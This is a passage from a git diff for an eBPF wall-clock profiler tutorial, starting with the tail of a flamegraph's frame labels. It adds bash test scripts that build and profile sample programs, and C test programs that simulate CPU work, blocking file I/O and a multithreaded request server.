1.33%) + + + +migration_entry_wait_on_locked (1 samples, 0.05%) + + + +__bpf_trace_sched_switch (3 samples, 0.15%) + + + +shmem_mknod (1 samples, 0.05%) + + + +entry_SYSCALL_64_after_hwframe (831 samples, 40.86%) +entry_SYSCALL_64_after_hwframe + + +sysvec_apic_timer_interrupt (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (14 samples, 0.69%) + + + +rand (8 samples, 0.39%) + + + +irqentry_exit_to_user_mode (1 samples, 0.05%) + + + +rand (4 samples, 0.20%) + + + +__bpf_trace_sched_switch (1 samples, 0.05%) + + + +__schedule (2 samples, 0.10%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (3 samples, 0.15%) + + + +net_rx_action (1 samples, 0.05%) + + + +asm_sysvec_apic_timer_interrupt (1 samples, 0.05%) + + + +mas_split (1 samples, 0.05%) + + + +__traceiter_sched_switch (1 samples, 0.05%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (27 samples, 1.33%) + + + +__bpf_trace_sched_switch (6 samples, 0.29%) + + + +sem_trywait (2 samples, 0.10%) + + + +mtree_erase (1 samples, 0.05%) + + + +fsubl (27 samples, 1.33%) + + + +do_syscall_64 (12 samples, 0.59%) + + + +__traceiter_sched_switch (1 samples, 0.05%) + + + +handle_pte_fault (1 samples, 0.05%) + + + +do_futex (3 samples, 0.15%) + + + +__schedule (1 samples, 0.05%) + + + +__schedule (3 samples, 0.15%) + + + +futex_wait (2 samples, 0.10%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (1 samples, 0.05%) + + + +__traceiter_sched_switch (1 samples, 0.05%) + + + +vfs_write (10 samples, 0.49%) + + + +irqentry_exit_to_user_mode (2 samples, 0.10%) + + + +__x64_sys_futex (2 samples, 0.10%) + + + +ip_rcv_finish_core_[c] (1 samples, 0.05%) + + + +__traceiter_sched_switch (14 samples, 0.69%) + + + +worker_thread (1,986 samples, 97.64%) +worker_thread + + +shmem_write_begin (1 samples, 0.05%) + + + +random_r_[c] (27 samples, 1.33%) + + + +migration_entry_wait (1 samples, 0.05%) + + + +_dl_mcount_wrapper (2 samples, 0.10%) + + + +bpf_trace_run4 (6 samples, 0.29%) + + + +random_[c] (30 samples, 1.47%) + + + +irqentry_exit (1 samples, 0.05%) + + + +ksys_read (1 samples, 0.05%) + + + +security_file_permission (1 samples, 0.05%) + + + +simulate_file_io (20 samples, 0.98%) + + + +__do_sys_newfstat (2 samples, 0.10%) + + + +irqentry_exit (1 samples, 0.05%) + + + +expf64_[c] (4 samples, 0.20%) + + + +bpf_trace_run4 (1 samples, 0.05%) + + + +__traceiter_sched_switch (3 samples, 0.15%) + + + +__bpf_trace_sched_switch (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (128 samples, 6.29%) +bpf_prog.. + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (1 samples, 0.05%) + + + +inode_needs_update_time.part.0 (2 samples, 0.10%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (1 samples, 0.05%) + + + +bpf_trace_run4 (2 samples, 0.10%) + + + +schedule (1 samples, 0.05%) + + + +irqentry_exit_to_user_mode (1 samples, 0.05%) + + + +__schedule (3 samples, 0.15%) + + + +sysvec_apic_timer_interrupt (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (2 samples, 0.10%) + + + +irqentry_exit_to_user_mode (1 samples, 0.05%) + + + +sysvec_apic_timer_interrupt (1 samples, 0.05%) + + + +asm_exc_page_fault (1 samples, 0.05%) + + + +asm_sysvec_apic_timer_interrupt (6 samples, 0.29%) + + + +bpf_trace_run4 (1 samples, 0.05%) + + + +do_sys_openat2 (1 samples, 0.05%) + + + +__netif_receive_skb_one_core (1 samples, 0.05%) + + + +bpf_trace_run4 (1 samples, 0.05%) + + + +__x64_sys_openat (1 samples, 0.05%) + + + +entry_SYSCALL_64_after_hwframe (81 samples, 3.98%) +entr.. + + +__schedule (1 samples, 0.05%) + + + +entry_SYSCALL_64_after_hwframe (4 samples, 0.20%) + + + +[Missed Kernel Stack]_[c] (1 samples, 0.05%) + + + +asm_sysvec_apic_timer_interrupt (2 samples, 0.10%) + + + +__bpf_trace_sched_switch (2 samples, 0.10%) + + + +__traceiter_sched_switch (2 samples, 0.10%) + + + +__traceiter_sched_switch (6 samples, 0.29%) + + + +__bpf_trace_sched_switch (1 samples, 0.05%) + + + +__bpf_trace_sched_switch (3 samples, 0.15%) + + + +vfs_unlink (1 samples, 0.05%) + + + +__schedule (1 samples, 0.05%) + + + +shmem_file_read_iter_[c] (1 samples, 0.05%) + + + +__traceiter_sched_switch (3 samples, 0.15%) + + + +mas_wr_store_entry (1 samples, 0.05%) + + + +_dl_mcount_wrapper_[c] (8 samples, 0.39%) + + + +ip_send_skb (1 samples, 0.05%) + + + +futex_wake_mark (3 samples, 0.15%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (1 samples, 0.05%) + + + +simulate_cpu_sort_work_[c] (94 samples, 4.62%) +simul.. + + +__bpf_trace_sched_switch (1 samples, 0.05%) + + + +sem_trywait (1 samples, 0.05%) + + + +entry_SYSCALL_64_after_hwframe (1 samples, 0.05%) + + + +__traceiter_sched_switch (2 samples, 0.10%) + + + +simulate_cpu_math_work (218 samples, 10.72%) +simulate_cpu_ma.. + + +irqentry_exit (14 samples, 0.69%) + + + +do_syscall_64 (78 samples, 3.83%) +do_s.. + + +process_backlog (1 samples, 0.05%) + + + +do_unlinkat (2 samples, 0.10%) + + + +irqentry_exit_to_user_mode (27 samples, 1.33%) + + + +_raw_spin_lock (6 samples, 0.29%) + + + +inode_set_ctime_current (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (831 samples, 40.86%) +bpf_prog_5de8bb2634f3b21a_handle_sched_switch + + +asm_sysvec_apic_timer_interrupt (6 samples, 0.29%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (1 samples, 0.05%) + + + +futex_q_lock (7 samples, 0.34%) + + + +sysvec_apic_timer_interrupt (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (1 samples, 0.05%) + + + +entry_SYSCALL_64_after_hwframe (204 samples, 10.03%) +entry_SYSCALL_.. + + +lookup_open.isra.0 (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (1 samples, 0.05%) + + + +__lll_lock_wait_private_[c] (6 samples, 0.29%) + + + +futex_q_unlock_[c] (6 samples, 0.29%) + + + +open_last_lookups (1 samples, 0.05%) + + + +schedule (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (1 samples, 0.05%) + + + +futex_q_lock_[c] (8 samples, 0.39%) + + + +__lll_lock_wait_private (3 samples, 0.15%) + + + +__local_bh_enable_ip (1 samples, 0.05%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (128 samples, 6.29%) +bpf_prog.. + + +asm_sysvec_apic_timer_interrupt (1 samples, 0.05%) + + + +__schedule (1 samples, 0.05%) + + + +schedule (831 samples, 40.86%) +schedule + + +evict (1 samples, 0.05%) + + + +mas_wr_bnode (1 samples, 0.05%) + + + +irqentry_exit_to_user_mode (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (2 samples, 0.10%) + + + +inet_sendmsg (1 samples, 0.05%) + + + +_init_[c] (15 samples, 0.74%) + + + +__clock_gettime (1 samples, 0.05%) + + + +__bpf_trace_sched_switch (3 samples, 0.15%) + + + +asm_sysvec_apic_timer_interrupt (1 samples, 0.05%) + + + +bpf_trace_run4 (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (3 samples, 0.15%) + + + +asm_sysvec_apic_timer_interrupt (3 samples, 0.15%) + + + +__strtof128_nan (1 samples, 0.05%) + + + +__bpf_trace_sched_switch (128 samples, 6.29%) +__bpf_tr.. + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (1 samples, 0.05%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (1 samples, 0.05%) + + + +__futex_wait (1 samples, 0.05%) + + + +__bpf_trace_sched_switch (27 samples, 1.33%) + + + +simulate_cpu_sort_work (11 samples, 0.54%) + + + +[Missed User Stack]_[c] (47 samples, 2.31%) +[.. + + +generic_perform_write (1 samples, 0.05%) + + + +irqentry_exit (6 samples, 0.29%) + + + +__bpf_trace_sched_switch (2 samples, 0.10%) + + + +__lll_lock_wake_private (3 samples, 0.15%) + + + +io_schedule (1 samples, 0.05%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (1 samples, 0.05%) + + + +mas_erase (1 samples, 0.05%) + + + +schedule (2 samples, 0.10%) + + + +__bpf_trace_sched_switch (1 samples, 0.05%) + + + +bpf_trace_run4 (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (3 samples, 0.15%) + + + +schedule (1 samples, 0.05%) + + + +exc_page_fault (1 samples, 0.05%) + + + +native_queued_spin_lock_slowpath_[c] (6 samples, 0.29%) + + + +__traceiter_sched_switch (27 samples, 1.33%) + + + +fsubl (6 samples, 0.29%) + + + +schedule (6 samples, 0.29%) + + + +bpf_trace_run4 (128 samples, 6.29%) +bpf_trac.. + + +iput (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (1 samples, 0.05%) + + + +irqentry_exit_to_user_mode (14 samples, 0.69%) + + + +x64_sys_call (2 samples, 0.10%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (1 samples, 0.05%) + + + +__schedule (2 samples, 0.10%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (1 samples, 0.05%) + + + +bpf_trace_run4 (1 samples, 0.05%) + + + +futex_wake_mark_[c] (6 samples, 0.29%) + + + +sem_trywait (1 samples, 0.05%) + + + +x64_sys_call (3 samples, 0.15%) + + + +x64_sys_call (201 samples, 9.88%) +x64_sys_call + + +simulate_network_operation (832 samples, 40.90%) +simulate_network_operation + + +asm_sysvec_apic_timer_interrupt (1 samples, 0.05%) + + + +ip_finish_output (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (1 samples, 0.05%) + + + +entry_SYSCALL_64_after_hwframe (13 samples, 0.64%) + + + +__handle_mm_fault (1 samples, 0.05%) + + + +__x64_sys_unlink (2 samples, 0.10%) + + + +schedule (14 samples, 0.69%) + + + +sysvec_apic_timer_interrupt (3 samples, 0.15%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (1 samples, 0.05%) + + + +bpf_trace_run4 (6 samples, 0.29%) + + + +schedule (3 samples, 0.15%) + + + +shmem_create (1 samples, 0.05%) + + + + diff --git a/src/32-wallclock-profiler/tests/run_combined_test.sh b/src/32-wallclock-profiler/tests/run_combined_test.sh new file mode 100755 index 00000000..1047d0f3 --- /dev/null +++ b/src/32-wallclock-profiler/tests/run_combined_test.sh @@ -0,0 +1,65 @@ +#!/bin/bash + +set -e + +echo "==============================================" +echo "Combined Profiler Demonstration" +echo "==============================================" +echo + +# Build the test program +echo "🔨 Building test program..." +gcc -o test_program tests/test_combined.c +echo "✅ Test program built successfully" +echo + +# Make the profiler script executable +chmod +x wallclock_profiler.py + +echo "🚀 Starting test program in background..." +./test_program & +TEST_PID=$! + +echo "📊 Test program PID: $TEST_PID" +echo "⏱️ Waiting 3 seconds for test program to stabilize..." +sleep 3 + +echo +echo "🔥 Starting combined profiling for 15 seconds..." +echo " This will capture both CPU usage and blocking behavior" +echo " Note: Requires root privileges for BPF access" +echo + +# Check if running as root +if [ "$EUID" -ne 0 ]; then + echo "⚠️ Not running as root. The profiler may fail to access BPF features." + echo " Consider running: sudo ./demo.sh" + echo +fi + +# Run the combined profiler +python3 wallclock_profiler.py $TEST_PID -d 15 -f 99 -m 500 -o demo_results + +echo +echo "🧹 Cleaning up test program..." + +# Kill the test program gracefully +kill $TEST_PID 2>/dev/null || true +wait $TEST_PID 2>/dev/null || true + +echo "✅ Test program stopped" +echo +echo "==============================================" +echo "Demo Complete!" +echo "==============================================" +echo +echo "Generated files should include:" +echo "• demo_results.folded - Raw flamegraph data" +echo "• demo_results.svg - Interactive flamegraph visualization" +echo +echo "Open demo_results.svg in a web browser to explore the results!" +echo +echo "What to look for in the flamegraph:" +echo "• 'oncpu:' sections show CPU-intensive operations (cpu_work function)" +echo "• 'offcpu:' sections show blocking operations (usleep calls)" +echo "• Width indicates time spent - wider = more time" \ No newline at end of file diff --git a/src/32-wallclock-profiler/tests/run_memory_bandwidth.sh b/src/32-wallclock-profiler/tests/run_memory_bandwidth.sh new file mode 100755 index 00000000..b412eff5 --- /dev/null +++ b/src/32-wallclock-profiler/tests/run_memory_bandwidth.sh @@ -0,0 +1,89 @@ +#!/bin/bash + +set -e + +echo "==============================================" +echo "Multi-threaded Profiler Test" +echo "==============================================" +echo + +# Build the multi-threaded test program +echo "🔨 Building multi-threaded test program..." +g++ -o test_multithread tests/double_bandwidth.cpp -g -fno-omit-frame-pointer -lpthread -lrt -lm -O3 +# gcc -o test_multithread tests/double_bandwidth.c -g -fno-omit-frame-pointer -lpthread -lrt -lm -O3 +# gcc -o test_multithread tests/test_multithread.c -lpthread -lrt -lm +echo "✅ Multi-threaded test program built successfully" +echo + +# Make the profiler script executable +chmod +x wallclock_profiler.py + +echo "🚀 Starting multi-threaded web server simulation..." +./test_multithread & +TEST_PID=$! + +echo "📊 Multi-threaded test PID: $TEST_PID" +echo "⏱️ Waiting 5 seconds for application to stabilize and generate load..." +sleep 5 + +echo +echo "🧵 Discovering threads..." +ps -T -p $TEST_PID +echo + +echo "🔥 Starting per-thread profiling for 20 seconds..." +echo " This will profile each thread individually with:" +echo " - On-CPU profiling to show CPU-intensive work" +echo " - Off-CPU profiling to show blocking I/O operations" +echo " - Individual flamegraphs for each thread" +echo + +# Check if running as root +if [ "$EUID" -ne 0 ]; then + echo "⚠️ Not running as root. The profiler may fail to access BPF features." + echo " Consider running: sudo $0" + echo +fi + +# Run the multi-threaded profiler +python3 wallclock_profiler.py $TEST_PID -d 60 -f 99 -m 1000 +# python3 wallclock_profiler.py $TEST_PID -d 30 -f 99 -m 1000 + + +echo +echo "🧹 Cleaning up test program..." + +# Kill the test program gracefully +kill $TEST_PID 2>/dev/null || true +wait $TEST_PID 2>/dev/null || true + +echo "✅ Test program stopped" +echo +echo "==============================================" +echo "Multi-threaded Profiling Test Complete!" +echo "==============================================" +echo +echo "Generated files should include:" +echo "• Individual .folded files for each thread" +echo "• Individual .svg flamegraphs for each thread" +echo "• Thread analysis summary file" +echo +echo "What to look for in the thread-specific flamegraphs:" +echo "🔧 Worker threads:" +echo " • CPU-intensive sections (compute work)" +echo " • I/O blocking sections (file operations, network calls)" +echo " • Database operation latencies" +echo +echo "📈 Request generator thread:" +echo " • Light CPU usage for request creation" +echo " • Some blocking on queue operations" +echo +echo "📊 Statistics monitor thread:" +echo " • Mostly sleeping (off-CPU time)" +echo " • Periodic wake-ups for statistics collection" +echo +echo "🎯 Analysis tips:" +echo " • Compare thread roles and their performance patterns" +echo " • Identify which threads are CPU-bound vs I/O-bound" +echo " • Look for synchronization bottlenecks" +echo " • Check for load balancing across worker threads" \ No newline at end of file diff --git a/src/32-wallclock-profiler/tests/run_multithread_test.sh b/src/32-wallclock-profiler/tests/run_multithread_test.sh new file mode 100755 index 00000000..260e15e2 --- /dev/null +++ b/src/32-wallclock-profiler/tests/run_multithread_test.sh @@ -0,0 +1,85 @@ +#!/bin/bash + +set -e + +echo "==============================================" +echo "Multi-threaded Profiler Test" +echo "==============================================" +echo + +# Build the multi-threaded test program +echo "🔨 Building multi-threaded test program..." +gcc -o test_multithread tests/test_multithread.c -g -fno-omit-frame-pointer -lpthread -lrt -lm -O3 +echo "✅ Multi-threaded test program built successfully" +echo + +# Make the profiler script executable +chmod +x wallclock_profiler.py + +echo "🚀 Starting multi-threaded web server simulation..." +./test_multithread & +TEST_PID=$! + +echo "📊 Multi-threaded test PID: $TEST_PID" +echo "⏱️ Waiting 5 seconds for application to stabilize and generate load..." +sleep 5 + +echo +echo "🧵 Discovering threads..." +ps -T -p $TEST_PID +echo + +echo "🔥 Starting per-thread profiling for 20 seconds..." +echo " This will profile each thread individually with:" +echo " - On-CPU profiling to show CPU-intensive work" +echo " - Off-CPU profiling to show blocking I/O operations" +echo " - Individual flamegraphs for each thread" +echo + +# Check if running as root +if [ "$EUID" -ne 0 ]; then + echo "⚠️ Not running as root. The profiler may fail to access BPF features." + echo " Consider running: sudo $0" + echo +fi + +# Run the multi-threaded profiler +python3 wallclock_profiler.py $TEST_PID -d 20 -f 99 -m 1000 + +echo +echo "🧹 Cleaning up test program..." + +# Kill the test program gracefully +kill $TEST_PID 2>/dev/null || true +wait $TEST_PID 2>/dev/null || true + +echo "✅ Test program stopped" +echo +echo "==============================================" +echo "Multi-threaded Profiling Test Complete!" +echo "==============================================" +echo +echo "Generated files should include:" +echo "• Individual .folded files for each thread" +echo "• Individual .svg flamegraphs for each thread" +echo "• Thread analysis summary file" +echo +echo "What to look for in the thread-specific flamegraphs:" +echo "🔧 Worker threads:" +echo " • CPU-intensive sections (compute work)" +echo " • I/O blocking sections (file operations, network calls)" +echo " • Database operation latencies" +echo +echo "📈 Request generator thread:" +echo " • Light CPU usage for request creation" +echo " • Some blocking on queue operations" +echo +echo "📊 Statistics monitor thread:" +echo " • Mostly sleeping (off-CPU time)" +echo " • Periodic wake-ups for statistics collection" +echo +echo "🎯 Analysis tips:" +echo " • Compare thread roles and their performance patterns" +echo " • Identify which threads are CPU-bound vs I/O-bound" +echo " • Look for synchronization bottlenecks" +echo " • Check for load balancing across worker threads" \ No newline at end of file diff --git a/src/32-wallclock-profiler/tests/test_combined.c b/src/32-wallclock-profiler/tests/test_combined.c new file mode 100644 index 00000000..035e1846 --- /dev/null +++ b/src/32-wallclock-profiler/tests/test_combined.c @@ -0,0 +1,161 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include + +// Global statistics +static volatile int running = 1; +static long total_cpu_time_ns = 0; +static long total_sleep_time_ns = 0; +static int total_iterations = 0; +static struct timespec program_start; + +// Signal handler for clean exit +void signal_handler(int sig) { + running = 0; + printf("\n🛑 Interrupted! Generating profiling expectations...\n"); +} + +// Get current time in nanoseconds +long get_time_ns() { + struct timespec ts; + clock_gettime(CLOCK_MONOTONIC, &ts); + return ts.tv_sec * 1000000000L + ts.tv_nsec; +} + +// CPU-intensive function with configurable work +void cpu_work(int intensity) { + volatile long sum = 0; + int iterations = intensity * 10000000; // Scale work by intensity (1-10) + + for (int i = 0; i < iterations; i++) { + sum += i * i + (i % 3) * (i % 7); // More complex computation + if (i % 1000000 == 0 && !running) break; // Check for interruption + } +} + +// Blocking function with configurable sleep time +void blocking_work(int sleep_ms) { + usleep(sleep_ms * 1000); // Convert ms to microseconds +} + +// Perform one iteration of work and measure times +void do_work_iteration(int cpu_intensity, int sleep_ms) { + struct timespec start, end; + + // Measure CPU work + clock_gettime(CLOCK_MONOTONIC, &start); + cpu_work(cpu_intensity); + clock_gettime(CLOCK_MONOTONIC, &end); + long cpu_time = (end.tv_sec - start.tv_sec) * 1000000000L + (end.tv_nsec - start.tv_nsec); + + // Measure sleep time + clock_gettime(CLOCK_MONOTONIC, &start); + blocking_work(sleep_ms); + clock_gettime(CLOCK_MONOTONIC, &end); + long sleep_time = (end.tv_sec - start.tv_sec) * 1000000000L + (end.tv_nsec - start.tv_nsec); + + // Update statistics + total_cpu_time_ns += cpu_time; + total_sleep_time_ns += sleep_time; + total_iterations++; + + printf("Iteration %3d: CPU=%3ldms, Sleep=%3ldms, Total=%3ldms\n", + total_iterations, + cpu_time / 1000000, + sleep_time / 1000000, + (cpu_time + sleep_time) / 1000000); +} + +// Display current statistics and profiler expectations +void show_statistics() { + struct timespec current_time; + clock_gettime(CLOCK_MONOTONIC, ¤t_time); + + long program_runtime_ns = (current_time.tv_sec - program_start.tv_sec) * 1000000000L + + (current_time.tv_nsec - program_start.tv_nsec); + + double program_runtime_s = program_runtime_ns / 1000000000.0; + double total_cpu_s = total_cpu_time_ns / 1000000000.0; + double total_sleep_s = total_sleep_time_ns / 1000000000.0; + double measured_time_s = total_cpu_s + total_sleep_s; + + printf("\n============================================================\n"); + printf("📊 PROFILING STATISTICS (PID: %d)\n", getpid()); + printf("============================================================\n"); + printf("Program runtime: %.3f seconds\n", program_runtime_s); + printf("Total iterations: %d\n", total_iterations); + printf("Measured work time: %.3f seconds (%.1f%% of runtime)\n", + measured_time_s, (measured_time_s / program_runtime_s) * 100.0); + + printf("\n🔥 ON-CPU TIME (computation):\n"); + printf(" Total: %.3f seconds\n", total_cpu_s); + printf(" Percentage: %.1f%% of measured time\n", (total_cpu_s / measured_time_s) * 100.0); + printf(" Average per iter: %.1f ms\n", (total_cpu_s * 1000.0) / total_iterations); + + printf("\n❄️ OFF-CPU TIME (blocking/sleep):\n"); + printf(" Total: %.3f seconds\n", total_sleep_s); + printf(" Percentage: %.1f%% of measured time\n", (total_sleep_s / measured_time_s) * 100.0); + printf(" Average per iter: %.1f ms\n", (total_sleep_s * 1000.0) / total_iterations); + + printf("\n🎯 EXPECTED PROFILER OUTPUT:\n"); + printf(" Wall clock coverage: ~%.1f%% (if profiler captures full runtime)\n", + (measured_time_s / program_runtime_s) * 100.0); + printf(" On-CPU μs expected: ~%.0f μs\n", total_cpu_s * 1000000.0); + printf(" Off-CPU μs expected: ~%.0f μs\n", total_sleep_s * 1000000.0); + printf(" Stack traces: cpu_work_[c] and usleep→clock_nanosleep_[o]\n"); + + printf("\n💡 PROFILER COMMAND:\n"); + printf(" sudo ./profiler -a wallclock -p %d -t 10\n", getpid()); + printf("============================================================\n\n"); +} + +int main() { + // Set up signal handler + signal(SIGINT, signal_handler); + signal(SIGTERM, signal_handler); + + // Record program start time + clock_gettime(CLOCK_MONOTONIC, &program_start); + + printf("🚀 WALLCLOCK PROFILER TEST PROGRAM\n"); + printf("=================================\n"); + printf("PID: %d\n", getpid()); + printf("This program alternates between CPU work and blocking operations\n"); + printf("Press Ctrl+C to stop and see profiling expectations\n"); + printf("=================================\n\n"); + + // Work parameters (can be adjusted for different test scenarios) + int cpu_intensity = 8; // 1-10 scale, affects computation time + int sleep_ms = 200; // milliseconds to sleep each iteration + + printf("Configuration:\n"); + printf(" CPU intensity: %d/10 (expect ~%dms per iteration)\n", cpu_intensity, cpu_intensity * 10); + printf(" Sleep time: %dms per iteration\n", sleep_ms); + + // Show statistics every 10 iterations + int stats_interval = 10; + + while (running) { + do_work_iteration(cpu_intensity, sleep_ms); + + // Show periodic statistics + if (total_iterations % stats_interval == 0) { + show_statistics(); + } + + // Slight variation to make it more realistic + if (total_iterations % 20 == 0) { + cpu_intensity = (cpu_intensity % 10) + 1; // Cycle intensity 1-10 + } + } + + // Final statistics + printf("\n🏁 FINAL STATISTICS:\n"); + show_statistics(); + + return 0; +} \ No newline at end of file diff --git a/src/32-wallclock-profiler/tests/test_multithread.c b/src/32-wallclock-profiler/tests/test_multithread.c new file mode 100644 index 00000000..d7a799c7 --- /dev/null +++ b/src/32-wallclock-profiler/tests/test_multithread.c @@ -0,0 +1,573 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// Configuration +#define NUM_WORKER_THREADS 4 +#define REQUEST_QUEUE_SIZE 100 +#define SIMULATION_DURATION 6000 // seconds +#define BUFFER_SIZE 4096 + +// Global state +volatile int running = 1; +pthread_mutex_t queue_mutex = PTHREAD_MUTEX_INITIALIZER; +pthread_cond_t queue_cond = PTHREAD_COND_INITIALIZER; + +// Pipe for blocking operations +int blocking_pipe[2]; +int dummy_eventfd; + +// Request queue simulation +typedef struct { + int request_id; + int request_type; // 0=cpu_math, 1=cpu_string, 2=cpu_sort, 3=file_io, 4=network, 5=poll_wait + struct timespec arrival_time; +} request_t; + +request_t request_queue[REQUEST_QUEUE_SIZE]; +int queue_head = 0; +int queue_tail = 0; +int queue_size = 0; + +// Statistics +volatile long total_requests_generated = 0; +volatile long total_requests_processed = 0; +volatile long cpu_math_requests = 0; +volatile long cpu_string_requests = 0; +volatile long cpu_sort_requests = 0; +volatile long file_io_requests = 0; +volatile long network_requests = 0; +volatile long poll_wait_requests = 0; + +// Signal handler +void signal_handler(int sig) { + printf("\n🛑 Received signal %d, shutting down gracefully...\n", sig); + running = 0; +} + +// Get current timestamp +void get_timestamp(struct timespec *ts) { + clock_gettime(CLOCK_MONOTONIC, ts); +} + +// Calculate time difference in microseconds +long time_diff_us(struct timespec *start, struct timespec *end) { + return (end->tv_sec - start->tv_sec) * 1000000 + + (end->tv_nsec - start->tv_nsec) / 1000; +} + +// Enqueue request +int enqueue_request(request_t *req) { + pthread_mutex_lock(&queue_mutex); + + if (queue_size >= REQUEST_QUEUE_SIZE) { + pthread_mutex_unlock(&queue_mutex); + return -1; // Queue full + } + + request_queue[queue_tail] = *req; + queue_tail = (queue_tail + 1) % REQUEST_QUEUE_SIZE; + queue_size++; + + pthread_cond_signal(&queue_cond); + pthread_mutex_unlock(&queue_mutex); + return 0; +} + +// Dequeue request +int dequeue_request(request_t *req) { + pthread_mutex_lock(&queue_mutex); + + while (queue_size == 0 && running) { + pthread_cond_wait(&queue_cond, &queue_mutex); + } + + if (!running && queue_size == 0) { + pthread_mutex_unlock(&queue_mutex); + return -1; // Shutting down + } + + *req = request_queue[queue_head]; + queue_head = (queue_head + 1) % REQUEST_QUEUE_SIZE; + queue_size--; + + pthread_mutex_unlock(&queue_mutex); + return 0; +} + +// CPU-intensive: Mathematical computation +void simulate_cpu_math_work(int request_id, int intensity) { + volatile double result = 0.0; + int iterations = intensity * 50000; + + // Complex mathematical operations + for (int i = 1; i < iterations; i++) { + result += sin(i) * cos(i) + sqrt(i); + result += log(i + 1) * exp(i % 100 / 100.0); + + // Matrix-like operations + double matrix[4][4]; + for (int j = 0; j < 4; j++) { + for (int k = 0; k < 4; k++) { + matrix[j][k] = sin(i + j + k) * result; + } + } + + if (i % 10000 == 0) { + __asm__("" : "+g" (result) : :); // Prevent optimization + } + } + + // Prime number computation + for (int n = 2; n < intensity * 1000; n++) { + int is_prime = 1; + for (int d = 2; d * d <= n; d++) { + if (n % d == 0) { + is_prime = 0; + break; + } + } + if (is_prime) result += n; + } +} + +// CPU-intensive: String processing +void simulate_cpu_string_work(int request_id, int intensity) { + char *buffer = malloc(BUFFER_SIZE * intensity); + char *temp = malloc(BUFFER_SIZE); + + // String generation and manipulation + for (int i = 0; i < intensity * 1000; i++) { + snprintf(temp, BUFFER_SIZE, + "Request_%d_Processing_String_Operation_%d_With_Data_%d", + request_id, i, rand()); + + // String operations + strcat(buffer, temp); + char *found = strstr(buffer, "Processing"); + if (found) { + memmove(found, found + 10, strlen(found + 10) + 1); + } + + // Base64-like encoding simulation + for (char *p = temp; *p; p++) { + *p = (*p + i) % 128; + } + + if (strlen(buffer) > BUFFER_SIZE * intensity - 1000) { + buffer[0] = '\0'; // Reset buffer + } + } + + // Pattern matching + const char *patterns[] = {"Request", "Processing", "Data", "Operation"}; + for (int i = 0; i < 4; i++) { + char *pos = buffer; + while ((pos = strstr(pos, patterns[i])) != NULL) { + pos++; + } + } + + free(buffer); + free(temp); +} + +// CPU-intensive: Sorting and data structures +void simulate_cpu_sort_work(int request_id, int intensity) { + int size = intensity * 500; + int *array = malloc(size * sizeof(int)); + + // Generate random data + for (int i = 0; i < size; i++) { + array[i] = rand() % (size * 10); + } + + // Bubble sort (intentionally inefficient for CPU load) + for (int i = 0; i < size - 1; i++) { + for (int j = 0; j < size - i - 1; j++) { + if (array[j] > array[j + 1]) { + int temp = array[j]; + array[j] = array[j + 1]; + array[j + 1] = temp; + } + } + + // Add some computation every 100 iterations + if (i % 100 == 0) { + volatile long hash = 0; + for (int k = 0; k < 1000; k++) { + hash = hash * 31 + array[k % size]; + } + } + } + + // Binary search operations + int target = array[size / 2]; + for (int search = 0; search < intensity * 100; search++) { + int left = 0, right = size - 1; + while (left <= right) { + int mid = (left + right) / 2; + if (array[mid] == target) break; + else if (array[mid] < target) left = mid + 1; + else right = mid - 1; + } + } + + free(array); +} + +// Blocking I/O: File operations with real syscalls +void simulate_file_io(int request_id) { + char filename[256]; + snprintf(filename, sizeof(filename), "/tmp/webserver_test_%d_%ld.tmp", + request_id, time(NULL)); + + // Write operation with multiple syscalls + int fd = open(filename, O_CREAT | O_WRONLY | O_TRUNC, 0644); + if (fd >= 0) { + char data[4096]; + for (int i = 0; i < 200; i++) { + snprintf(data, sizeof(data), + "Request %d chunk %d: Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n", + request_id, i); + + ssize_t written = write(fd, data, strlen(data)); + if (written > 0) { + fsync(fd); // Force disk write - blocking syscall + } + + // Add some file metadata operations + struct stat st; + fstat(fd, &st); + } + close(fd); + } + + // Read operation with blocking + fd = open(filename, O_RDONLY); + if (fd >= 0) { + char buffer[1024]; + ssize_t bytes_read; + while ((bytes_read = read(fd, buffer, sizeof(buffer))) > 0) { + // Process data with some CPU work + for (int i = 0; i < bytes_read; i++) { + buffer[i] = buffer[i] ^ 0x55; // Simple XOR + } + } + close(fd); + } + + // File system operations + chmod(filename, 0755); + access(filename, R_OK | W_OK); + + // Cleanup + unlink(filename); + __sync_fetch_and_add(&file_io_requests, 1); +} + +// Blocking I/O: Network operations +void simulate_network_operation(int request_id, int 